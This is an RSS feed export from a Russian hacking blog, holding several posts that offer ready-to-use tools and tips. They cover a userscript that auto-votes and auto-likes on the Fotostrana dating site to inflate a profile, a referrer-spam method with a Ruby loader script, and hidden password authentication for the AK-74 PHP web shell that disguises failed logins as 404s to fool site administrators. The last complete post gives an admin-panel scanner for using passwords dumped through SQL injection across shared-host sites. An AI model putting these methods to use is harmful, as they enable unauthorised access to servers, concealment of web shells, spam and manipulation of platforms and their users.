<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>по стопам webkill&#039;а &#187; методы и способы</title>
	<atom:link href="http://blog.lukmus.ru/category/hack/metodyi-i-sposobyi/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.lukmus.ru</link>
	<description>это наш химический дом для печальных жителей Земли</description>
	<lastBuildDate>Sat, 21 Oct 2023 19:10:13 +0000</lastBuildDate>
	<language>ru-RU</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.4.2</generator>
		<item>
		<title>меня не любят девушки или как накрутить анкету в Фотостране</title>
		<link>http://blog.lukmus.ru/2014/04/19/fotostrana/</link>
		<comments>http://blog.lukmus.ru/2014/04/19/fotostrana/#comments</comments>
		<pubDate>Sat, 19 Apr 2014 23:22:29 +0000</pubDate>
		<dc:creator>lukmus</dc:creator>
				<category><![CDATA[hack]]></category>
		<category><![CDATA[методы и способы]]></category>
		<category><![CDATA[скрипты]]></category>
		<category><![CDATA[userscript]]></category>
		<category><![CDATA[фотострана]]></category>

		<guid isPermaLink="false">http://blog.lukmus.ru/?p=2176</guid>
		<description><![CDATA[Есть такой замечательный сайт знакомств Фотострана. Там разнополые, впрочем не всегда, жаждут встретить друг друга и слиться в сексуальном экстазе в единое целое, это не мои домыслы, именно в таком ключе меня познакомили с этим сайтом, видимо у кого-то был высокий CTR на это дело. Процент реальных анкет, насколько я могу судить по своему опыту, [...]]]></description>
			<content:encoded><![CDATA[<p>Есть такой замечательный сайт знакомств <a href="http://fotostrana.ru/" rel="nofollow" target="_blank">Фотострана</a>. Там разнополые, впрочем не всегда, жаждут встретить друг друга и слиться в сексуальном экстазе в единое целое, это не мои домыслы, именно в таком ключе меня познакомили с этим сайтом, видимо у кого-то был высокий CTR на это дело. Процент реальных анкет, насколько я могу судить по своему опыту, там гораздо больше чем в ВК, а следовательно вероятность реальной встречи, <del datetime="2014-04-19T19:56:05+00:00">что само по себе звучит ужасающе для компьютерных социопатов</del>, довольно велика. Разумеется, чтобы анкету заметили пачки нимфоманок с бешенством матки или крутые поцаны со спермотоксикозом и рваной ширинкой, необходимо сначала грамотно засветить свой мужественный/женственный профиль. О том, как автоматизировать долгий процесс популяризации анкеты здесь и пойдет речь.<br />
<img src="http://blog.lukmus.ru/wp-content/uploads/2014/04/chinaso18.png" alt="В Твиттере Lukmus раскрылся как секссимвол" title="lukmustar" width="517" height="1244" class="alignnone size-full wp-image-2186" /><br />
<span id="more-2176"></span><br />
Понятие популярности в Фотостране довольно относительно, там существует определенное количество разных конкурсов и встроенных приложений, активное участие в которых косвенно повышает просмотры анкеты. Я буду считать задачу выполненной если показатель популярности анкеты (левый нижний угол на странице профиля) изменяется от <span style="color: #9b050d;">Низкая популярность</span> до <span style="color: #70c207;">Высокая популярность</span> и <span style="color: #bc0a6f;">Крутая популярность</span>.</p>
<p>Нам понадобятся следующие конкурсы (я буду называть их так): <a href='http://fotostrana.ru/meeting/?fromServiceBlock=0&#038;ls=0'>Встречи</a> (скрипт meeting), <a href='http://fotostrana.ru/rating/?h=1'>Лицо с обложки</a> (fsrating) и <a href='http://fotostrana.ru/contest'>Голосование Мисс/Мистер</a> (contest).</p>
<h2>Userscript</h2>
<p>Суть накрутки популярности заключается в автоматизации процесса голосования в приведенных выше конкурсах. Для автоматизации я предлагаю использовать Userscript. Что такое Userscript и как его устанавливать я уже описывал <a href='http://blog.lukmus.ru/2012/09/30/byistryiy-vhod-v-vk-pri-pomoshhi-userscript/'>ранее</a>.</p>
<p>Собственно сам скрипт:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
</pre></td><td class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #006600; font-style: italic;">// ==UserScript==</span>
<span style="color: #006600; font-style: italic;">// @name        fs_like_click</span>
<span style="color: #006600; font-style: italic;">// @author Lukmus (blog.lukmus.ru)</span>
<span style="color: #006600; font-style: italic;">// @namespace   fotostrana.ru</span>
<span style="color: #006600; font-style: italic;">// @include     about:addons</span>
<span style="color: #006600; font-style: italic;">// @version     1.0</span>
<span style="color: #006600; font-style: italic;">// @require  http://ajax.googleapis.com/ajax/libs/jquery/1.3/jquery.min.js</span>
<span style="color: #006600; font-style: italic;">// ==/UserScript==</span>
&nbsp;
<span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">function</span> <span style="color: #009900;">&#40;</span>window<span style="color: #339933;">,</span> <span style="color: #003366; font-weight: bold;">undefined</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #000066; font-weight: bold;">var</span> w<span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">typeof</span> unsafeWindow <span style="color: #339933;">!=</span> <span style="color: #003366; font-weight: bold;">undefined</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        w <span style="color: #339933;">=</span> unsafeWindow
    <span style="color: #009900;">&#125;</span> <span style="color: #000066; font-weight: bold;">else</span> <span style="color: #009900;">&#123;</span>w <span style="color: #339933;">=</span> window<span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span>
&nbsp;
    <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>w.<span style="color: #660066;">self</span> <span style="color: #339933;">!=</span> w.<span style="color: #660066;">top</span><span style="color: #009900;">&#41;</span><span style="color: #000066; font-weight: bold;">return</span><span style="color: #339933;">;</span>
&nbsp;
    alert<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'fs photo click &amp; contest click 10k with if loaded'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #009966; font-style: italic;">/http:\/\/fotostrana.ru\/\?fsrating=(.)+/</span>.<span style="color: #660066;">test</span><span style="color: #009900;">&#40;</span>w.<span style="color: #660066;">location</span>.<span style="color: #660066;">href</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    	<span style="color: #000066; font-weight: bold;">for</span><span style="color: #009900;">&#40;</span>i<span style="color: #339933;">=</span><span style="color: #CC0000;">0</span><span style="color: #339933;">;</span>i<span style="color: #339933;">&lt;</span><span style="color: #CC0000;">10000</span><span style="color: #339933;">;</span>i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
		setTimeout<span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
		  <span style="color: #000066; font-weight: bold;">if</span><span style="color: #009900;">&#40;</span><span style="">Math</span>.<span style="color: #660066;">random</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">*</span><span style="color: #CC0000;">10</span><span style="color: #339933;">&gt;</span><span style="color: #CC0000;">2</span><span style="color: #009900;">&#41;</span>
		    $<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'.ibtn.ibtn-big.ibtn-blue.fsr-photo-like'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">click</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		  <span style="color: #000066; font-weight: bold;">else</span>
		    $<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'#fsr-photo-next-arrow'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">click</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span><span style="color: #339933;">,</span>i<span style="color: #339933;">*</span><span style="color: #CC0000;">2000</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
    <span style="color: #009900;">&#125;</span>
&nbsp;
    <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #009966; font-style: italic;">/http:\/\/fotostrana.ru\/contest\/(.)+/</span>.<span style="color: #660066;">test</span><span style="color: #009900;">&#40;</span>w.<span style="color: #660066;">location</span>.<span style="color: #660066;">href</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
&nbsp;
    	<span style="color: #000066; font-weight: bold;">for</span><span style="color: #009900;">&#40;</span>i<span style="color: #339933;">=</span><span style="color: #CC0000;">0</span><span style="color: #339933;">;</span>i<span style="color: #339933;">&lt;</span><span style="color: #CC0000;">10000</span><span style="color: #339933;">;</span>i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
	        <span style="color: #000066; font-weight: bold;">if</span><span style="color: #009900;">&#40;</span>i<span style="color: #339933;">==</span><span style="color: #CC0000;">0</span><span style="color: #009900;">&#41;</span>delay<span style="color: #339933;">=</span><span style="color: #CC0000;">10000</span><span style="color: #339933;">;</span> <span style="color: #000066; font-weight: bold;">else</span> delay<span style="color: #339933;">=</span><span style="color: #CC0000;">0</span><span style="color: #339933;">;</span>
&nbsp;
		setTimeout<span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
		  strs<span style="color: #339933;">=</span><span style="color: #009966; font-style: italic;">/.+addPaid.+/</span>.<span style="color: #660066;">test</span><span style="color: #009900;">&#40;</span>$<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'.contest-btn.contest-btn-big.contest-popup-main-btn-vote'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">attr</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'onclick'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		  <span style="color: #000066; font-weight: bold;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span>strs<span style="color: #009900;">&#41;</span>
		    $<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'.contest-btn.contest-btn-big.contest-popup-main-btn-vote'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">click</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		  <span style="color: #000066; font-weight: bold;">else</span>
		    contestApp.<span style="color: #660066;">popupMain</span>.<span style="color: #660066;">next</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
		<span style="color: #009900;">&#125;</span><span style="color: #339933;">,</span>delay<span style="color: #339933;">+</span>i<span style="color: #339933;">*</span><span style="color: #CC0000;">2000</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
    <span style="color: #009900;">&#125;</span>
&nbsp;
    <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #009966; font-style: italic;">/http:\/\/fotostrana.ru\/meeting(\/)?/</span>.<span style="color: #660066;">test</span><span style="color: #009900;">&#40;</span>window.<span style="color: #660066;">location</span>.<span style="color: #660066;">href</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
      <span style="color: #000066; font-weight: bold;">for</span><span style="color: #009900;">&#40;</span>i<span style="color: #339933;">=</span><span style="color: #CC0000;">0</span><span style="color: #339933;">;</span> i<span style="color: #339933;">&lt;</span><span style="color: #CC0000;">10000</span><span style="color: #339933;">;</span> i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
	setTimeout<span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>$<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'.meeting-btn-bc.meeting-btn-bc-mb.btn.btn-big.btn-big-mb'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">click</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">,</span>i<span style="color: #339933;">*</span><span style="color: #CC0000;">2000</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
      <span style="color: #009900;">&#125;</span>
    <span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#40;</span>window<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>В работе скрипта сможет разобраться любой, кто хоть чуть-чуть знает JavasScript и JQuery. Для не обладающих тайным знанием JS следует знать, что <code>alert('fs photo click &#038; contest click 10k with if loaded');</code> можно безболезненно удалить или закомментировать, если это предупреждение выводит из себя.</p>
<h2>Эксплуатация</h2>
<p>После того как Userscript успешно установлен, открываем в браузере Фотострану, логинимся и открываем 3 вкладки: Встречи, Лицо с обложки и Голосование Мисс/Мистер.</p>
<h3>Голосование Мисс/Мистер</h3>
<p>Помимо захода на саму страницу голосования надо собственно выбрать какого-нибудь персонажа и нажать на него, далее процесс голосования должен запуститься автоматически, однако если этого не произойдет следует обновить страницу (URL с уже выбранным персонажем).<br />
<iframe width="517" height="426" src="http://video.yandex.ru/iframe/lookmoos/cds2zb8tjp.1213/" frameborder="0" allowfullscreen="1"></iframe></p>
<h3>Лицо с обложки</h3>
<p>Тут для запуска надо тоже первоначально выбрать кого-нибудь, в случае если скрипт не стартанул нужно также обновить страницу.<br />
<iframe width="517" height="426" src="http://video.yandex.ru/iframe/lookmoos/xui9wop6ks.3212/" frameborder="0" allowfullscreen="1"></iframe></p>
<h3>Встречи</h3>
<p>Здесь никого выбирать не надо, скрипт должен сразу начать голосовать, но если этого не произошло опять же обновляем страницу. Выбирать во Встречах можно не более 100 раз в час, скрипт автоматически выбирает не &#8220;Да&#8221;, а &#8220;Возможно&#8221;, но Фотострана учитывает и этот ответ тоже как положительный.<br />
<iframe width="517" height="426" src="http://video.yandex.ru/iframe/lookmoos/2z9tglp32d.7647/" frameborder="0" allowfullscreen="1"></iframe></p>
<p>Собственно теперь остается только открыть три вкладки и свернуть браузер, через 3-5 часов ваша популярность взлетит до небес. Причиной такого неожиданного роста внимания к вашей персоне &#8211; любопытство и благодарность, если вы за кого-то голосуете или вам &#8220;нравится&#8221; чья-то фотография, то в Фотостране вас за это обязательно отблагодарят ни о чем не подозревающие дамочки по ту сторону монитора.</p>
<p><meta property="og:image" content="http://blog.lukmus.ru/wp-content/uploads/2014/04/chinaso18.png" /></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.lukmus.ru/2014/04/19/fotostrana/feed/</wfw:commentRss>
		<slash:comments>18</slash:comments>
		</item>
		<item>
		<title>referer-спам</title>
		<link>http://blog.lukmus.ru/2012/02/04/referer-spam/</link>
		<comments>http://blog.lukmus.ru/2012/02/04/referer-spam/#comments</comments>
		<pubDate>Sat, 04 Feb 2012 04:37:36 +0000</pubDate>
		<dc:creator>lukmus</dc:creator>
				<category><![CDATA[hack]]></category>
		<category><![CDATA[методы и способы]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[RefControl]]></category>
		<category><![CDATA[referer]]></category>
		<category><![CDATA[ruby 1.9]]></category>
		<category><![CDATA[spam]]></category>

		<guid isPermaLink="false">http://blog.lukmus.ru/?p=1222</guid>
		<description><![CDATA[Я частенько смотря статистику молодых сайтов или не столь популярных сайтов (типо этого блога), интересуюсь с какого сайта зашли на мой. Хотя бы для того чтобы узнать где размещена молодая ссылка на мой сайт т.к. в статистиках/счетчиках она быстрее зафиксируется, чем в инструментах вебмастера от Яндекса или Гугла. Порой перехожу по этим ссылкам. Ну, а [...]]]></description>
			<content:encoded><![CDATA[<p>Я частенько смотря статистику молодых сайтов или не столь популярных сайтов (типо этого блога), интересуюсь с какого сайта зашли на мой. Хотя бы для того чтобы узнать где размещена молодая ссылка на мой сайт т.к. в статистиках/счетчиках она быстрее зафиксируется, чем в инструментах вебмастера от Яндекса или Гугла. Порой перехожу по этим ссылкам. Ну, а какой URL фигурирует в статистиках, разумеется тот который указан в Referer заголовка HTTP-запроса.<br />
Короче, я думаю, что реферерами в статистике интересуюсь не только я.<br />
<a href="http://blog.lukmus.ru/wp-content/uploads/2012/02/morning-glory-hole-in-the-water.jpg"><img class="aligncenter size-full wp-image-1223" title="morning-glory-hole-in-the-water" src="http://blog.lukmus.ru/wp-content/uploads/2012/02/morning-glory-hole-in-the-water.jpg" alt="" width="517" height="400" /></a><span id="more-1222"></span><br />
Исходя из всего вышесказанного, я считаю, что можно увеличивать посещаемость сайта засчет ссылок в реферерах. Короче говоря, я сделал следующим образом.</p>
<h3>почему нужен браузер</h3>
<p>Сделать простой скриптик, который бы заходил на все подряд сайты имея при этом в заголовке нужный нам реферер не вариант т.к. он прокатит только в том случае если статистику ведет какой-нибудь серверный скрипт/плагин к CMS итд, в случае если веб-мастер смотрит статистику через всякие JS-ые штуки типа Яндекс.Метрика или Google Analytics, а такой расклад преобладает, наш реферер никуда не запишется т.к. простенький скриптик, мягко говоря, не умеет интерпретировать JavaScript.</p>
<p>Собственно поэтому нам нужен полноценный браузер.</p>
<h3>firefox &amp; RefControl</h3>
<p>Т.к. я в основном пользуюсь FF, я рассматривал только его.<br />
Изменить заголовок пакета, в том числе и referer, в FF можно миллиардом разных плагинов, но чтобы изменить его 1 раз для всех сайтов и всех запросов больше не заходя в настройки нужен только 1 плагин  &#8211; RefControl.<br />
Короче, устанавливаем этот RefControl в FF и настраиваем, благо там все элементарно. Лично я настроил так:<br />
<a href="http://blog.lukmus.ru/wp-content/uploads/2012/02/people3.png"><img class="aligncenter size-full wp-image-1226" title="people3" src="http://blog.lukmus.ru/wp-content/uploads/2012/02/people3.png" alt="" width="517" height="299" /></a><br />
И вам тоже советую настроить также, <span style="text-decoration: line-through;">поставить Referer как http://ii.lukmus.ru/</span>.</p>
<p>На этом я и остановился, я также как и всегда лазию по инету, но еще и оставляю ссылку на себя.</p>
<h3>автоматический вариант. суперкостыли</h3>
<p>Лично я считаю, что сайты,  веб-мастера которых смотрят рефереры на свои сайты, лежат <a rel="nofollow" href="http://blogs.yandex.ru/top/standalone/?page=0" target="_blank">здесь</a>, причем на странице где-то больше 300-ой.<br />
Поэтому предлагаю вот такой скриптик на Ruby, который парсит яндекс.блоги и загружает их поочереди в FF.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #b1b100;">require</span> <span style="color: #0000ff;">'net/http'</span> 
&nbsp;
http<span style="color: #339933;">=</span>Net<span style="color: #339933;">::</span><span style="color: #004000;">HTTP</span><span style="color: #339933;">.</span><span style="color: #000000; font-weight: bold;">new</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'blogs.yandex.ru'</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">300</span><span style="color: #339933;">..</span><span style="color: #cc66cc;">1000</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #990000;">each</span> <span style="color: #b1b100;">do</span> <span style="color: #339933;">|</span>page<span style="color: #339933;">|</span>
  path<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;/top/standalone/?page=#{page}&quot;</span>
  resp<span style="color: #339933;">,</span>data<span style="color: #339933;">=</span>http<span style="color: #339933;">.</span>get<span style="color: #009900;">&#40;</span>path<span style="color: #009900;">&#41;</span>
  data<span style="color: #339933;">.</span>scan<span style="color: #009900;">&#40;</span><span style="color: #339933;">/&gt;&lt;</span>\<span style="color: #339933;">/</span>a<span style="color: #339933;">&gt;&lt;</span>a href<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;(http:\/\/.+?)&quot;</span> title<span style="color: #339933;">=/</span>i<span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span>
    collect<span style="color: #009900;">&#123;</span><span style="color: #339933;">|</span>l<span style="color: #339933;">|</span> l<span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">.</span><span style="color: #990000;">each</span> <span style="color: #b1b100;">do</span> <span style="color: #339933;">|</span><span style="color: #990000;">link</span><span style="color: #339933;">|</span>
    <span style="color: #990000;">system</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;firefox #{link}&quot;</span><span style="color: #009900;">&#41;</span>
    <span style="color: #990000;">sleep</span> <span style="color: #cc66cc;">10</span> <span style="color: #666666; font-style: italic;">#время на прогрузку страницы
</span>    <span style="color: #990000;">system</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;killall firefox&quot;</span><span style="color: #009900;">&#41;</span>
  <span style="color: #990000;">end</span><span style="color: #666666; font-style: italic;">#each
</span><span style="color: #990000;">end</span><span style="color: #666666; font-style: italic;">#each</span></pre></td></tr></table></div>

<p>Разумеется окно FF будет раздражительно появляться и исчезать на экране, и чтобы сэкономить нервные клетки предлагаю запускать подобные вещи в виртуальной машине.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.lukmus.ru/2012/02/04/referer-spam/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>добавляем авторизацию к AK-74 Web-shell</title>
		<link>http://blog.lukmus.ru/2010/09/30/dobavlyaem-avtorizatsiyu-k-ak-74-web-shell/</link>
		<comments>http://blog.lukmus.ru/2010/09/30/dobavlyaem-avtorizatsiyu-k-ak-74-web-shell/#comments</comments>
		<pubDate>Thu, 30 Sep 2010 22:25:50 +0000</pubDate>
		<dc:creator>lukmus</dc:creator>
				<category><![CDATA[hack]]></category>
		<category><![CDATA[методы и способы]]></category>
		<category><![CDATA[AK-74]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[web-shell]]></category>
		<category><![CDATA[шелл]]></category>

		<guid isPermaLink="false">http://blog.lukmus.ru/?p=521</guid>
		<description><![CDATA[AK-74 &#8211; отличный шелл, там нет крутых наворотов, AJAX&#8217;а и прочей красоты, совершенно не нужной в таком деле. Однако там нет и еще одной вещи, на мой взгляд важной &#8211; авторизации. Вероятно, авторы шелла, к сожалению не знаю ссылки на создателей, думали, что любой пользователь сам в состоянии дописать авторизацию т.к. код скрипта прост и [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.lukmus.ru/wp-content/uploads/2010/09/ak74.jpg"><img class="alignleft size-full wp-image-522" title="ak74" src="http://blog.lukmus.ru/wp-content/uploads/2010/09/ak74.jpg" alt="" width="171" height="128" /></a>AK-74 &#8211; отличный шелл, там нет крутых наворотов, AJAX&#8217;а и прочей красоты, совершенно не нужной в таком деле. Однако там нет и еще одной вещи, на мой взгляд важной &#8211; авторизации. Вероятно, авторы шелла, к сожалению не знаю ссылки на создателей, думали, что любой пользователь сам в состоянии дописать авторизацию т.к. код скрипта прост и нагляден. Там и вправду ничего сложного нет.<span id="more-521"></span></p>
<p>Вообщем мне понадобилось и я дописал пару строчек, выполняющих авторизацию.</p>
<p>Я предлагаю 2 вида авторизации:</p>
<ul>
<li>ввод пароля в адресной строке методом GET</li>
<li>хэш пароля в User-Agent браузера</li>
</ul>
<p>Второй способ мне больше нравится т.к. не надо ничего запоминать, однако в таком случае если вы зайдете с этого браузера на любой другой сайт, то ваш хэш с легкостью будет перехвачен и записан в лог апача. Поэтому лучше использовать 2 способа одновременно.</p>
<p>Конфиг авторизации лежит в самом начале скрипта шелла:<br />
<code>//---------------------config-<br />
$get_pass=md5("getpass"); //пароль по GET<br />
$ua_pass=md5("uapass"); //пароль по User-Agent<br />
$auth_var=array(<br />
'get_pass'=&gt;true, //вкл/выкл GET<br />
'user_agent'=&gt;false); //вкл/выкл User-Agent<br />
//----------------------------</code></p>
<p>В случае неудачной авторизации шелл выдаст ошибку 404 и немного изменит в адресной строке адрес т.е. заредиректит на схожий путь, тем самым запутав любопытного админа.</p>
<p>Ввод пароля по GET делается так:<br />
<code>/path/to/shell.php?kw=getpass</code></p>
<p>Для того, чтобы войти по User-Agent нужно вбить в браузер, чтобы он давал такой заголовок в пакете. Например в Firefox&#8217;е это делается так:</p>
<ul>
<li>в адресной строке вводим about:config</li>
<li>в поле фильтр вбиваем general.useragent.extra.firefox</li>
<li>дописываем в значение поля хэш нашего $ua_pass</li>
</ul>
<p>Скачать это дело можно <a rel="nofollow" href="http://www.sendspace.com/file/zn0b1s" target="_blank">тут</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.lukmus.ru/2010/09/30/dobavlyaem-avtorizatsiyu-k-ak-74-web-shell/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>поиск админок на множестве сайтов</title>
		<link>http://blog.lukmus.ru/2010/09/18/poisk-adminok-na-mnozhestve-saytov/</link>
		<comments>http://blog.lukmus.ru/2010/09/18/poisk-adminok-na-mnozhestve-saytov/#comments</comments>
		<pubDate>Sat, 18 Sep 2010 16:46:51 +0000</pubDate>
		<dc:creator>lukmus</dc:creator>
				<category><![CDATA[hack]]></category>
		<category><![CDATA[методы и способы]]></category>
		<category><![CDATA[скрипты]]></category>
		<category><![CDATA[ruby]]></category>
		<category><![CDATA[админка]]></category>
		<category><![CDATA[поиск]]></category>
		<category><![CDATA[список]]></category>

		<guid isPermaLink="false">http://blog.lukmus.ru/?p=508</guid>
		<description><![CDATA[Иногда бывает такая ситуация, когда допустим получив доступ к базе и слив оттуда все пароли нужно найти тот скрипт, где эти пароли подойдут. Все бы было ничего, если бы админка находилась на том же сайте что и уязвимое место. Тогда бы мы просто просканировали сайт по списку, допустим тем же Havij&#8217;ом. Однако, часто так бывает, [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.lukmus.ru/wp-content/uploads/2010/09/adminki.jpg"><img class="alignleft size-full wp-image-509" title="adminki" src="http://blog.lukmus.ru/wp-content/uploads/2010/09/adminki.jpg" alt="поиск админки" width="151" height="150" /></a>Иногда бывает такая ситуация, когда допустим получив доступ к базе и слив оттуда все пароли нужно найти тот скрипт, где эти пароли подойдут. Все бы было ничего, если бы админка находилась на том же сайте что и уязвимое место. Тогда бы мы просто просканировали сайт по списку, допустим тем же Havij&#8217;ом.<span id="more-508"></span></p>
<p>Однако, часто так бывает, что на одном хостинге (аккаунт хостинга) размещается куча сайтов, но т.к. аккаунт от хостинга 1, то и сервер БД один, а иногда и БД одна для разных сайтов.</p>
<p>Короче, представим такую ситауцию, вы нашли уязвимое место, скажем SQL-inj, вытащили все пароли, но на этом сайте нет админок или эти пароли не подходят. В таком случае нужно найти все сайты, которые висят на этом сервере или же все сайты, которые принадлежат этому акку хостинга. Узнать последнее &#8211; задача не тривиальная, а первое можно через тот же 2ip.ru.</p>
<p>Далее весь этот список сайтов нужно просканировать на различные пути к админке. Havij позволят за 1 раз искать пути только к 1 сайту. А если у нас список из 50-100 сайтов, то каждый раз вбивать в ручную в Havij утомительно.</p>
<p>Я предлагаю такой простенький скриптик, который переберет все пути к списку сайтов. Скачать можно <a href="http://blog.lukmus.ru/wp-content/uploads/2012/05/adminfinder-10-05-2012.tar.gz" target="_blank">здесь</a>.</p>
<h2>конфигурация</h2>
<p>Открываем файл config.rb и видим:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$site_list</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;site_list&quot;</span> <span style="color: #666666; font-style: italic;"># список сайтов
</span><span style="color: #000088;">$admin_list</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;admin_list&quot;</span> <span style="color: #666666; font-style: italic;"># список путей к админкам
</span><span style="color: #000088;">$th_count</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">50</span> <span style="color: #666666; font-style: italic;"># количество потоков
</span><span style="color: #000088;">$log_file</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;log&quot;</span> <span style="color: #666666; font-style: italic;"># лог файл, записываются успешные пути</span></pre></td></tr></table></div>

<p>и все сразу становится понятно.</p>
<p>В архиве прилагается список путей к админкам честно украденный из Havij.</p>
<p>Принцип работы скрипта прост &#8211; запрашивает страницу с данным путем и если код ответа сервера не равен 404, то путь записывается в $log_file как успешный.</p>
<p>Еще хочу попросить, если у кого-то есть более полный список путей к админкам, то выложите где-нибудь, пожалуйста.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.lukmus.ru/2010/09/18/poisk-adminok-na-mnozhestve-saytov/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>особенности файловой системы UFS на Solaris</title>
		<link>http://blog.lukmus.ru/2010/09/02/osobennosti-faylovoy-sistemyi-ufs-na-solaris/</link>
		<comments>http://blog.lukmus.ru/2010/09/02/osobennosti-faylovoy-sistemyi-ufs-na-solaris/#comments</comments>
